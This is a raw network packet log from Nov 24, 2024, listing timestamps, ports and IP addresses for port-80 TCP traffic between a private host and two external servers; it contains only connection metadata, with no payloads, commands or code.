Nov 24, 2024 12:24:25.021156073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.021204948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.021236897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.021281958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.023677111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.023755074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.023816109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.025990009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.026041985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.026046991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.026374102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.028372049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.028422117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.028454065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.030980110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.031028032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.031086922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.032526970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.032979965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.033130884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.033181906 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.035407066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.035423994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.035469055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.036515951 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.037421942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.037487030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.037487984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.039653063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.039696932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.039772987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.040527105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.041816950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.041927099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.041974068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.044080019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.044127941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.044212103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.044434071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.046169043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.046219110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.046360970 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.046405077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.048347950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.048412085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.048475027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.050868034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.050914049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.050997019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.052762032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.052819967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.052875042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.052917004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.054814100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.054960966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.054972887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.055016994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.055016994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.055041075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.055058956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.055219889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.055303097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.055345058 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.055922031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.055991888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.056032896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.056838036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.056890011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.057086945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.057132959 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.057132959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.057193041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.057539940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.057771921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.057914019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.057961941 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.058820009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.058944941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.058996916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.059478045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.059529066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.059561014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.059598923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.059662104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.059755087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.059839010 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.060503960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.060616016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.060663939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.061440945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.061496973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.061507940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.061542988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.061547041 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.061676979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.061742067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.062309027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.062417984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.062561989 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.063265085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.063400984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.063448906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.063796043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.063843012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.063869953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.063905954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.064163923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.064276934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.064316988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.065049887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.065156937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.065196037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.065907001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.065979004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.065989971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.065999985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.066020966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.066046953 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.066883087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.067073107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.067115068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.067773104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.067878962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.067926884 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.068049908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.068088055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.068144083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.068686962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.068732023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.068778038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.069096088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.069617987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.069731951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.069777012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.070286036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.070336103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.070497990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.070537090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.070576906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.070588112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.070626974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.071419954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.071546078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.071590900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.072339058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.072453022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.072464943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.072510004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.072513103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.072545052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.072594881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.073255062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.073363066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.073405027 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.074142933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.074250937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.074307919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.074615002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.074660063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.074675083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.074711084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.075064898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.075216055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.075262070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.075989962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.076105118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.076889038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.076900959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.076910973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.076931000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.076931000 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.076934099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.076950073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.076966047 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.077848911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.078063011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.078437090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.078715086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.078768969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.078810930 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.078980923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.079124928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.079190969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.079608917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.079722881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.079767942 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.080534935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.080614090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.080701113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.081182003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.081276894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.081294060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.081345081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.081440926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.081521988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.081566095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.082377911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.082413912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.082482100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.083281994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.083406925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.083483934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.083494902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.083537102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.083537102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.084276915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.084391117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.084444046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.085092068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.085211039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.085267067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.085582972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.085635900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.085684061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.085731030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.085980892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.086091042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.086132050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.086932898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.087030888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.087068081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.087795019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.087835073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.087846994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.087874889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.087904930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.087944031 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.088777065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.088958979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.089641094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.089689970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.089807987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.089865923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.090147018 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.090198994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.090276003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.090313911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.090728998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.090807915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.090909004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.091473103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.091540098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.091624022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.092225075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.092272043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.092299938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.092336893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.092391968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.092402935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.092443943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.093276978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.093421936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.093460083 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.094203949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.094352961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.094363928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.094393015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.094417095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.094482899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.094531059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.095105886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.095208883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.095257044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.096072912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.096090078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.096132994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.096640110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.096685886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.096739054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.096805096 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.096983910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.097076893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.097156048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.097841978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.097925901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.097968102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.098690987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.098740101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.098752022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.098763943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.098776102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.098813057 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.100903034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.100958109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.101001024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.101448059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.103147030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.103193998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.103260994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.103328943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.105540037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.105592012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.105901957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.105947971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.107651949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.107696056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.107726097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.107846022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.109652042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.109700918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.109781027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.109817982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.111850023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.111973047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.112014055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.114042044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.114223957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.114273071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.116238117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.116316080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.116341114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.116389990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.118500948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.118560076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.118642092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.118685961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.120625973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.120688915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.120697975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.120729923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.122839928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.122912884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.122925043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.122967005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.125133038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.125180006 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.125206947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.125243902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.127186060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.127358913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.127402067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.129367113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.129420042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.129450083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.129524946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.181720018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.181731939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.181893110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.182034016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.182151079 CET	80	49792	34.116.198.130	192.168.2.4
